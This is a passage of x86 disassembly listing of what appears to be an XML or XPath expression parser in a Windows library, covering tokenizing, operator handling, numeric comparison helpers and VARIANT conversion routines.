loc_69B6366D: ; CODE XREF: sub_69B6349E+2C9j
cmp eax, 5Bh
mov ecx, [ebp+arg_8]
mov [ebp+arg_0], ecx
jnz loc_69B6372E
push ebx
push ebx
push [ebp+var_4]
mov ecx, esi
push edi
mov [ebp+var_18], ebx
mov [ebp+var_14], bl
call sub_69B62F36
mov [ebp+var_8], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi+1Ch]
mov ecx, esi
mov [ebp+var_4], eax
call sub_69B62D2E
push 5Dh
mov ecx, esi
mov edi, eax
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp edi, ebx
jz loc_69B63779
mov eax, [edi]
lea ecx, [ebp+var_18]
push ecx
push ebx
push ebx
push ebx
mov ecx, edi
call dword ptr [eax+54h]
lea ecx, [ebp+var_18]
call sub_69B61F10
test al, al
jz short loc_69B63706
push 5
push ebx
call sub_69B6C788
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
push edi
and ecx, eax
push ecx
push 2
call sub_69B69E36
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov edi, ecx
mov [ebp+arg_0], ebx
loc_69B63706: ; CODE XREF: sub_69B6349E+23Aj
xor eax, eax
mov al, [esi+0Ch]
push eax
push [ebp+arg_0]
push edi
push ebx
push [ebp+var_8]
call sub_69B65FCF
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
lea ecx, [ebp+var_18]
and edi, eax
call sub_69B466CC
jmp short loc_69B63762
; ---------------------------------------------------------------------------
loc_69B6372E: ; CODE XREF: sub_69B6349E+1D8j
cmp eax, 21h
jnz short loc_69B6376D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 0FFFFFFFCh
mov ecx, esi
call sub_69B5EB78
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push 1
push ebx
push ebx
push [ebp+var_4]
push edi
call sub_69B62F36
push eax
loc_69B63759: ; CODE XREF: sub_69B6349E+89j
mov ecx, esi
call sub_69B62690
loc_69B63760: ; CODE XREF: sub_69B6349E+98j
; sub_69B6349E+181j
mov edi, eax
loc_69B63762: ; CODE XREF: sub_69B6349E+48j
; sub_69B6349E+108j ...
mov eax, [esi+20h]
cmp eax, ebx
jnz loc_69B6366D
loc_69B6376D: ; CODE XREF: sub_69B6349E+293j
dec dword ptr [esi+48h]
mov eax, edi
loc_69B63772: ; CODE XREF: sub_69B6349E+2E8j
pop edi
pop esi
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B63779: ; CODE XREF: sub_69B6349E+21Cj
lea ecx, [ebp+var_18]
call sub_69B466CC
dec dword ptr [esi+48h]
xor eax, eax
jmp short loc_69B63772
sub_69B6349E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63788 proc near ; DATA XREF: .text:69B12B74o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, ecx
call sub_69B60C68
mov eax, [esi+18h]
lea edx, [eax-2]
movzx eax, word ptr [esi+0Eh]
push 2Fh
pop edi
cmp eax, edi
mov [esi+1Ch], edx
jg loc_69B638CC
jz loc_69B638A4
cmp eax, 24h
jg short loc_69B6382B
jz short loc_69B6380B
mov ecx, eax
sub ecx, 0
jz short loc_69B637D8
push 21h
pop edi
sub ecx, edi
jz short loc_69B637E9
dec ecx
jz loc_69B6386B
dec ecx
jnz loc_69B63964
loc_69B637D8: ; CODE XREF: sub_69B63788+39j
; sub_69B63788+B6j ...
mov ecx, esi
mov [esi+20h], eax
call sub_69B5EA78
loc_69B637E2: ; CODE XREF: sub_69B63788+81j
; sub_69B63788+98j ...
mov eax, [esi+20h]
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_69B637E9: ; CODE XREF: sub_69B63788+40j
mov ecx, esi
call sub_69B5EA78
cmp word ptr [esi+0Eh], 3Dh
jnz loc_69B638C4
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF9h
jmp short loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B6380B: ; CODE XREF: sub_69B63788+32j
mov ecx, esi
call sub_69B5EA78
xor eax, eax
mov ax, [esi+0Eh]
push eax
call sub_69B31914
test eax, eax
jz short loc_69B637E2
mov ecx, esi
call sub_69B62E54
jmp short loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B6382B: ; CODE XREF: sub_69B63788+30j
cmp eax, 26h
jz short loc_69B63877
cmp eax, 27h
jz short loc_69B6386B
jle loc_69B63964
cmp eax, 2Dh
jle short loc_69B637D8
push 2Eh
pop edi
cmp eax, edi
jnz loc_69B63964
mov ecx, esi
call sub_69B5EA78
cmp [esi+0Eh], di
jnz short loc_69B638C4
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFFEh
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B6386B: ; CODE XREF: sub_69B63788+43j
; sub_69B63788+ABj
mov ecx, esi
call sub_69B62780
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B63877: ; CODE XREF: sub_69B63788+A6j
mov ecx, esi
call sub_69B5EA78
cmp word ptr [esi+0Eh], 26h
mov ecx, esi
jnz short loc_69B63898
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF6h
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B63898: ; CODE XREF: sub_69B63788+FDj
push 0FFFFFFF6h
call sub_69B629F7
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B638A4: ; CODE XREF: sub_69B63788+27j
mov ecx, esi
call sub_69B5EA78
cmp [esi+0Eh], di
jnz short loc_69B638C4
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFFDh
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B638C4: ; CODE XREF: sub_69B63788+6Dj
; sub_69B63788+CEj ...
mov [esi+20h], edi
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B638CC: ; CODE XREF: sub_69B63788+21j
cmp eax, 40h
jg short loc_69B6394C
jz loc_69B637D8
cmp eax, 3Ah
jl loc_69B63964
cmp eax, 3Bh
jle loc_69B637D8
cmp eax, 3Ch
jz short loc_69B63924
cmp eax, 3Dh
jz loc_69B637D8
cmp eax, 3Eh
jnz short loc_69B63964
mov ecx, esi
mov [esi+20h], eax
call sub_69B5EA78
cmp word ptr [esi+0Eh], 3Dh
jnz loc_69B637E2
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF7h
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B63924: ; CODE XREF: sub_69B63788+164j
mov ecx, esi
mov [esi+20h], eax
call sub_69B5EA78
cmp word ptr [esi+0Eh], 3Dh
jnz loc_69B637E2
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF8h
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B6394C: ; CODE XREF: sub_69B63788+147j
mov ecx, eax
sub ecx, 5Bh
jz loc_69B637D8
dec ecx
dec ecx
jz loc_69B637D8
sub ecx, 1Fh
jz short loc_69B639C0
loc_69B63964: ; CODE XREF: sub_69B63788+4Aj
; sub_69B63788+ADj ...
mov eax, [esi+34h]
push esi
push eax
lea eax, [ebp+var_C]
push eax
push 0
push edx
call sub_69B6282D
mov edi, eax
cmp edi, [esi+1Ch]
jbe short loc_69B639B4
push [ebp+var_C]
lea eax, [esi+28h]
push eax
mov dword ptr [esi+20h], 0FFFFFFFCh
call sub_69B17320
push [ebp+var_8]
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push [ebp+var_4]
lea eax, [esi+30h]
push eax
call sub_69B17320
push edi
mov ecx, esi
call sub_69B5EB96
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B639B4: ; CODE XREF: sub_69B63788+1F2j
mov ecx, esi
call sub_69B62EAF
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B639C0: ; CODE XREF: sub_69B63788+1DAj
mov ecx, esi
call sub_69B5EA78
push 7Ch
pop eax
cmp [esi+0Eh], ax
jnz short loc_69B639E3
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF5h
jmp loc_69B637E2
; ---------------------------------------------------------------------------
loc_69B639E3: ; CODE XREF: sub_69B63788+246j
mov [esi+20h], eax
jmp loc_69B637E2
sub_69B63788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B639EB proc near ; CODE XREF: sub_69B63AF9+Bp
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dwTlsIndex
mov edi, ecx
call dword_69B92970
mov ebx, eax
mov eax, [ebx+1Ch]
push 0
push [ebp+arg_4]
mov ecx, edi
mov [ebp+var_8], eax
mov dword ptr [ebx+1Ch], 2
call sub_69B5EBA5
test eax, eax
jz short loc_69B63A59
xor eax, eax
mov al, [edi+0Ch]
push eax
push [ebp+arg_0]
call sub_69B6C11D
mov esi, eax
jmp short loc_69B63A37
; ---------------------------------------------------------------------------
loc_69B63A32: ; CODE XREF: sub_69B639EB+5Aj
mov eax, [edi]
call dword ptr [eax+44h]
loc_69B63A37: ; CODE XREF: sub_69B639EB+45j
mov ecx, edi
push esi
call sub_69B62FFC
cmp dword ptr [edi+20h], 3Bh
mov ecx, edi
jz short loc_69B63A32
lea eax, [esi+10h]
neg esi
sbb esi, esi
push 0
and esi, eax
call sub_69B5EB78
jmp short loc_69B63A5C
; ---------------------------------------------------------------------------
loc_69B63A59: ; CODE XREF: sub_69B639EB+33j
mov esi, [ebp+arg_0]
loc_69B63A5C: ; CODE XREF: sub_69B639EB+6Cj
mov eax, [ebp+var_8]
mov [ebx+1Ch], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 8
sub_69B639EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63A6B proc near ; CODE XREF: sub_69B63A6B+65p
; sub_69B63B0C+1Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B5EA61
push [ebp+arg_8]
mov ebx, [esi+1Ch]
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B6349E
cmp dword ptr [esi+20h], 2Fh
mov edi, eax
jnz short loc_69B63AED
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B63AB4
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+4Ch]
test al, 10h
jnz short loc_69B63AC2
loc_69B63AB4: ; CODE XREF: sub_69B63A6B+3Cj
push 0
push [ebp+arg_0]
mov ecx, esi
push ebx
push edi
call sub_69B62F36
loc_69B63AC2: ; CODE XREF: sub_69B63A6B+47j
push [ebp+arg_8]
mov ebx, [esi+1Ch]
push [ebp+arg_4]
mov ecx, esi
push [ebp+var_4]
call sub_69B63A6B
mov edi, eax
test edi, edi
jnz short loc_69B63AE0
cmp byte ptr [ebp+arg_4], al
jnz short loc_69B63AED
loc_69B63AE0: ; CODE XREF: sub_69B63A6B+6Ej
push 0
push 0
push ebx
push edi
mov ecx, esi
call sub_69B62F36
loc_69B63AED: ; CODE XREF: sub_69B63A6B+27j
; sub_69B63A6B+73j
dec dword ptr [esi+48h]
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B63A6B endp
; =============== S U B R O U T I N E =======================================
sub_69B63AF9 proc near ; CODE XREF: sub_69B6EAE1+2Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push dword ptr [eax+0Ch]
push [esp+4+arg_0]
call sub_69B639EB
retn 8
sub_69B63AF9 endp
; =============== S U B R O U T I N E =======================================
sub_69B63B0C proc near ; CODE XREF: sub_69B63B61+Fp
; sub_69B63BD0+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+1Ch]
call sub_69B5EA61
push [esp+0Ch+arg_8]
mov ecx, esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_69B63A6B
cmp dword ptr [esi+20h], 0FFFFFFFDh
mov ebx, eax
jnz short loc_69B63B56
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [esp+0Ch+arg_8]
mov ecx, esi
push 0
push 0
push edi
push ebx
call sub_69B62F36
push eax
mov ecx, esi
call sub_69B63B61
mov ebx, eax
loc_69B63B56: ; CODE XREF: sub_69B63B0C+26j
dec dword ptr [esi+48h]
pop edi
pop esi
mov eax, ebx
pop ebx
retn 0Ch
sub_69B63B0C endp
; =============== S U B R O U T I N E =======================================
sub_69B63B61 proc near ; CODE XREF: sub_69B63B0C+43p
; sub_69B63BD0+68p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push [esp+8+arg_4]
mov edi, ecx
mov esi, [edi+1Ch]
push 1
push 0
call sub_69B63B0C
test eax, eax
jz short loc_69B63B88
push 0
push 6
push esi
push eax
mov ecx, edi
call sub_69B6296C
jmp short loc_69B63B8A
; ---------------------------------------------------------------------------
loc_69B63B88: ; CODE XREF: sub_69B63B61+16j
xor eax, eax
loc_69B63B8A: ; CODE XREF: sub_69B63B61+25j
xor ecx, ecx
mov cl, [edi+0Ch]
push 0
push ecx
push [esp+10h+arg_4]
push eax
push [esp+18h+arg_0]
call sub_69B69232
mov esi, eax
add eax, 10h
neg esi
sbb esi, esi
mov ecx, edi
and esi, eax
call sub_69B623EA
test al, al
jz short loc_69B63BC4
push [esp+8+arg_4]
push 0
push esi
call sub_69B63A6B
jmp short loc_69B63BCB
; ---------------------------------------------------------------------------
loc_69B63BC4: ; CODE XREF: sub_69B63B61+53j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+5Ch]
loc_69B63BCB: ; CODE XREF: sub_69B63B61+61j
pop edi
pop esi
retn 8
sub_69B63B61 endp
; =============== S U B R O U T I N E =======================================
sub_69B63BD0 proc near ; CODE XREF: sub_69B63C59+1Dp
; sub_69B63C59+72p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
call sub_69B5EA61
mov eax, [esi+20h]
cmp eax, 2Fh
jnz short loc_69B63C0D
xor eax, eax
mov al, [esi+0Ch]
push eax
call sub_69B6934C
mov edi, eax
add eax, 10h
neg edi
sbb edi, edi
and edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp dword ptr [esi+20h], 0
jnz short loc_69B63C43
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+5Ch]
jmp short loc_69B63C51
; ---------------------------------------------------------------------------
loc_69B63C0D: ; CODE XREF: sub_69B63BD0+Fj
cmp eax, 0FFFFFFFDh
jnz short loc_69B63C3F
xor eax, eax
mov al, [esi+0Ch]
push eax
call sub_69B6934C
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [esp+8+arg_4]
mov eax, edi
add edi, 10h
neg eax
sbb eax, eax
and eax, edi
push eax
mov ecx, esi
call sub_69B63B61
jmp short loc_69B63C51
; ---------------------------------------------------------------------------
loc_69B63C3F: ; CODE XREF: sub_69B63BD0+40j
mov edi, [esp+8+arg_0]
loc_69B63C43: ; CODE XREF: sub_69B63BD0+32j
push [esp+8+arg_4]
mov ecx, esi
push 0
push edi
call sub_69B63B0C
loc_69B63C51: ; CODE XREF: sub_69B63BD0+3Bj
; sub_69B63BD0+6Dj
dec dword ptr [esi+48h]
pop edi
pop esi
retn 8
sub_69B63BD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63C59 proc near ; DATA XREF: .text:69B12B70o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, ecx
mov eax, [esi+1Ch]
mov [ebp+var_8], eax
call sub_69B5EA61
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B63BD0
cmp dword ptr [esi+20h], 7Ch
mov ebx, eax
jnz short loc_69B63CFF
xor eax, eax
mov al, [esi+0Ch]
push edi
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B699F2
mov edi, 82h
push 0
mov [ebp+var_C], eax
mov [ebp+var_4], edi
push edi
jmp short loc_69B63CD7
; ---------------------------------------------------------------------------
loc_69B63CA5: ; CODE XREF: sub_69B63C59+96j
mov eax, [esi+1Ch]
mov [ebp+var_8], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp [ebp+var_4], edi
jnz short loc_69B63CC3
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+4Ch]
and eax, edi
mov [ebp+var_4], eax
loc_69B63CC3: ; CODE XREF: sub_69B63C59+5Cj
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B63BD0
push 0
push [ebp+var_4]
mov ebx, eax
loc_69B63CD7: ; CODE XREF: sub_69B63C59+4Aj
push [ebp+var_8]
mov ecx, esi
push ebx
call sub_69B6296C
mov ecx, [ebp+var_C]
push eax
call sub_69B6969A
cmp dword ptr [esi+20h], 7Ch
jz short loc_69B63CA5
mov ecx, [ebp+var_C]
add ecx, 10h
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov ebx, eax
pop edi
loc_69B63CFF: ; CODE XREF: sub_69B63C59+28j
dec dword ptr [esi+48h]
pop esi
mov eax, ebx
pop ebx
leave
retn 8
sub_69B63C59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63D0A proc near ; CODE XREF: sub_69B5EB0B+12p
; sub_69B5ED81+43p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
mov ax, [eax]
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ecx, [edi]
cmp ax, [ecx]
jb short loc_69B63D73
mov ebx, [ebp+arg_4]
mov ecx, [edi+ebx*8-8]
cmp ax, [ecx]
ja short loc_69B63D73
loc_69B63D2C: ; CODE XREF: sub_69B63D0A+5Ej
; sub_69B63D0A+62j
push [ebp+arg_C]
mov eax, ebx
push [ebp+arg_8]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push dword ptr [edi+esi*8]
call sub_69B84AC0
add esp, 0Ch
test eax, eax
jnz short loc_69B63D5A
mov eax, [edi+esi*8]
mov ecx, [ebp+arg_C]
cmp word ptr [eax+ecx*2], 0
jz short loc_69B63D6E
xor eax, eax
inc eax
loc_69B63D5A: ; CODE XREF: sub_69B63D0A+3Ej
test esi, esi
jz short loc_69B63D73
test eax, eax
jge short loc_69B63D6A
inc esi
lea edi, [edi+esi*8]
sub ebx, esi
jmp short loc_69B63D2C
; ---------------------------------------------------------------------------
loc_69B63D6A: ; CODE XREF: sub_69B63D0A+56j
mov ebx, esi
jmp short loc_69B63D2C
; ---------------------------------------------------------------------------
loc_69B63D6E: ; CODE XREF: sub_69B63D0A+4Bj
lea eax, [edi+esi*8]
jmp short loc_69B63D75
; ---------------------------------------------------------------------------
loc_69B63D73: ; CODE XREF: sub_69B63D0A+14j
; sub_69B63D0A+20j ...
xor eax, eax
loc_69B63D75: ; CODE XREF: sub_69B63D0A+67j
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B63D0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B63D7C(double)
sub_69B63D7C proc near ; CODE XREF: sub_69B65A4F+B6p
; sub_69B6699A+812p ...
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+14h+var_14]
call sub_69B84BCE
cmp eax, 4
pop ecx
pop ecx
jle loc_69B63E3F
cmp eax, 200h
jz loc_69B63E3F
fld [ebp+arg_0]
call sub_69B1A82C
mov [ebp+var_4], eax
fild [ebp+var_4]
fsubr [ebp+arg_0]
fcom ds:dbl_69B29708
fst [ebp+var_C]
fnstsw ax
test ah, 1
jz short loc_69B63DD3
fcom ds:dbl_69B296B0
fnstsw ax
test ah, 41h
jp short loc_69B63DF4
loc_69B63DD3: ; CODE XREF: sub_69B63D7C+48j
push 80004005h
fstp st
push 0
push 0
push 0C00CE60Bh
call sub_69B2F944
add esp, 0Ch
push eax
call sub_69B2E8A2
fld [ebp+var_C]
loc_69B63DF4: ; CODE XREF: sub_69B63D7C+55j
fld [ebp+arg_0]
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 41h
jnz short loc_69B63E16
fcomp ds:dbl_69B296F8
fnstsw ax
test ah, 1
jnz short loc_69B63E3A
inc [ebp+var_4]
jmp short loc_69B63E3A
; ---------------------------------------------------------------------------
loc_69B63E16: ; CODE XREF: sub_69B63D7C+86j
fld [ebp+arg_0]
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 5
jp short loc_69B63E38
fcomp ds:dbl_69B296F0
fnstsw ax
test ah, 5
jp short loc_69B63E3A
dec [ebp+var_4]
jmp short loc_69B63E3A
; ---------------------------------------------------------------------------
loc_69B63E38: ; CODE XREF: sub_69B63D7C+A8j
fstp st
loc_69B63E3A: ; CODE XREF: sub_69B63D7C+93j
; sub_69B63D7C+98j ...
fild [ebp+var_4]
jmp short locret_69B63E42
; ---------------------------------------------------------------------------
loc_69B63E3F: ; CODE XREF: sub_69B63D7C+18j
; sub_69B63D7C+23j
fld [ebp+arg_0]
locret_69B63E42: ; CODE XREF: sub_69B63D7C+C1j
leave
retn 8
sub_69B63D7C endp
; =============== S U B R O U T I N E =======================================
sub_69B63E46 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
and dword ptr [eax], 0
xor eax, eax
retn 10h
sub_69B63E46 endp
; =============== S U B R O U T I N E =======================================
sub_69B63E52 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
or dword ptr [eax], 0FFFFFFFFh
xor eax, eax
retn 10h
sub_69B63E52 endp
; =============== S U B R O U T I N E =======================================
sub_69B63E5E proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov dword ptr [eax], 1
xor eax, eax
retn 10h
sub_69B63E5E endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B63E6D(double, double)
sub_69B63E6D proc near ; CODE XREF: sub_69B63F19+12p
arg_0 = qword ptr 4
arg_8 = qword ptr 0Ch
fld [esp+arg_0]
fcom ds:dbl_69B29700
fnstsw ax
test ah, 44h
jp short loc_69B63E89
fcomp [esp+arg_8]
fnstsw ax
test ah, 44h
jmp short loc_69B63EAF
; ---------------------------------------------------------------------------
loc_69B63E89: ; CODE XREF: sub_69B63E6D+Fj
fld [esp+arg_8]
fsubr st, st(1)
fdivrp st(1), st
fcom ds:dbl_69B29700
fnstsw ax
test ah, 5
jp short loc_69B63EA4
fld st
fchs
fstp st(1)
loc_69B63EA4: ; CODE XREF: sub_69B63E6D+2Fj
fcomp ds:dbl_69B63EC0
fnstsw ax
test ah, 41h
loc_69B63EAF: ; CODE XREF: sub_69B63E6D+1Aj
jp short loc_69B63EB6
xor eax, eax
inc eax
jmp short locret_69B63EB8
; ---------------------------------------------------------------------------
loc_69B63EB6: ; CODE XREF: sub_69B63E6D:loc_69B63EAFj
xor eax, eax
locret_69B63EB8: ; CODE XREF: sub_69B63E6D+47j
retn 10h
sub_69B63E6D endp
; ---------------------------------------------------------------------------
align 10h
dbl_69B63EC0 dq 1.0e-14 ; DATA XREF: sub_69B63E6D:loc_69B63EA4r
; =============== S U B R O U T I N E =======================================
sub_69B63EC8 proc near ; CODE XREF: sub_69B64131+12p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, [esp+arg_4]
jnz short loc_69B63ED6
xor eax, eax
jmp short locret_69B63EE5
; ---------------------------------------------------------------------------
loc_69B63ED6: ; CODE XREF: sub_69B63EC8+8j
xor ecx, ecx
cmp eax, [esp+arg_4]
setnl cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
locret_69B63EE5: ; CODE XREF: sub_69B63EC8+Cj
retn 8
sub_69B63EC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63EE8 proc near ; CODE XREF: sub_69B64154+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
cmp eax, [ebp+arg_C]
jnz short loc_69B63F07
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_8]
jnz short loc_69B63EFF
xor eax, eax
jmp short loc_69B63F15
; ---------------------------------------------------------------------------
loc_69B63EFF: ; CODE XREF: sub_69B63EE8+11j
sbb eax, eax
and eax, 0FFFFFFFEh
inc eax
jmp short loc_69B63F15
; ---------------------------------------------------------------------------
loc_69B63F07: ; CODE XREF: sub_69B63EE8+9j
xor ecx, ecx
cmp eax, [ebp+arg_C]
setnl cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
loc_69B63F15: ; CODE XREF: sub_69B63EE8+15j
; sub_69B63EE8+1Dj
pop ebp
retn 10h
sub_69B63EE8 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B63F19(double, double)
sub_69B63F19 proc near ; CODE XREF: sub_69B64179+66p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = qword ptr 4
arg_8 = qword ptr 0Ch
fld [esp+arg_8]
sub esp, 10h
fstp [esp+10h+var_8]
fld [esp+10h+arg_0]
fstp [esp+10h+var_10]
call sub_69B63E6D
test eax, eax
jz short loc_69B63F38
xor eax, eax
jmp short locret_69B63F4F
; ---------------------------------------------------------------------------
loc_69B63F38: ; CODE XREF: sub_69B63F19+19j
fld [esp+arg_0]
fcomp [esp+arg_8]
fnstsw ax
test ah, 5
jp short loc_69B63F4C
or eax, 0FFFFFFFFh
jmp short locret_69B63F4F
; ---------------------------------------------------------------------------
loc_69B63F4C: ; CODE XREF: sub_69B63F19+2Cj
xor eax, eax
inc eax
locret_69B63F4F: ; CODE XREF: sub_69B63F19+1Dj
; sub_69B63F19+31j
retn 10h
sub_69B63F19 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B63F52(double, double)
sub_69B63F52 proc near ; CODE XREF: sub_69B6424B+18p
arg_0 = qword ptr 4
arg_8 = qword ptr 0Ch
fld [esp+arg_0]
fcomp [esp+arg_8]
fnstsw ax
test ah, 44h
jp short loc_69B63F65
xor eax, eax
jmp short locret_69B63F7C
; ---------------------------------------------------------------------------
loc_69B63F65: ; CODE XREF: sub_69B63F52+Dj
fld [esp+arg_0]
fcomp [esp+arg_8]
fnstsw ax
test ah, 5
jp short loc_69B63F79
or eax, 0FFFFFFFFh
jmp short locret_69B63F7C
; ---------------------------------------------------------------------------
loc_69B63F79: ; CODE XREF: sub_69B63F52+20j
xor eax, eax
inc eax
locret_69B63F7C: ; CODE XREF: sub_69B63F52+11j
; sub_69B63F52+25j
retn 10h
sub_69B63F52 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B63F7F(VARIANTARG *pvarg)
sub_69B63F7F proc near ; CODE XREF: sub_69B71074+D4p
pvarg = dword ptr 4
push esi
mov esi, [esp+4+pvarg]
push edi
push esi ; pvarg
mov edi, ecx
call VariantInit
mov eax, [edi]
dec eax
jz short loc_69B63FF3
dec eax
jz short loc_69B63FE0
dec eax
jz short loc_69B63FD3
dec eax
jz short loc_69B63FC6
dec eax
jz short loc_69B63FB4
dec eax
jnz short loc_69B64003
push dword ptr [edi+8]
call sub_69B5562F
mov [esi+8], eax
mov word ptr [esi], 9
jmp short loc_69B64003
; ---------------------------------------------------------------------------
loc_69B63FB4: ; CODE XREF: sub_69B63F7F+1Ej
mov ecx, [edi+8]
call sub_69B2F352
mov [esi+8], eax
mov word ptr [esi], 8
jmp short loc_69B64003
; ---------------------------------------------------------------------------
loc_69B63FC6: ; CODE XREF: sub_69B63F7F+1Bj
fld qword ptr [edi+8]
mov word ptr [esi], 7
fstp qword ptr [esi+8]
jmp short loc_69B64003
; ---------------------------------------------------------------------------
loc_69B63FD3: ; CODE XREF: sub_69B63F7F+18j
fld qword ptr [edi+8]
mov word ptr [esi], 5
fstp qword ptr [esi+8]
jmp short loc_69B64003
; ---------------------------------------------------------------------------
loc_69B63FE0: ; CODE XREF: sub_69B63F7F+15j
mov eax, [edi+8]
mov [esi+8], eax
mov eax, [edi+0Ch]
mov [esi+0Ch], eax
mov word ptr [esi], 6
jmp short loc_69B64003
; ---------------------------------------------------------------------------
loc_69B63FF3: ; CODE XREF: sub_69B63F7F+12j
mov al, [edi+8]
neg al
mov word ptr [esi], 0Bh
sbb eax, eax
mov [esi+8], ax
loc_69B64003: ; CODE XREF: sub_69B63F7F+21j
; sub_69B63F7F+33j ...
pop edi
pop esi
retn 4
sub_69B63F7F endp
; =============== S U B R O U T I N E =======================================
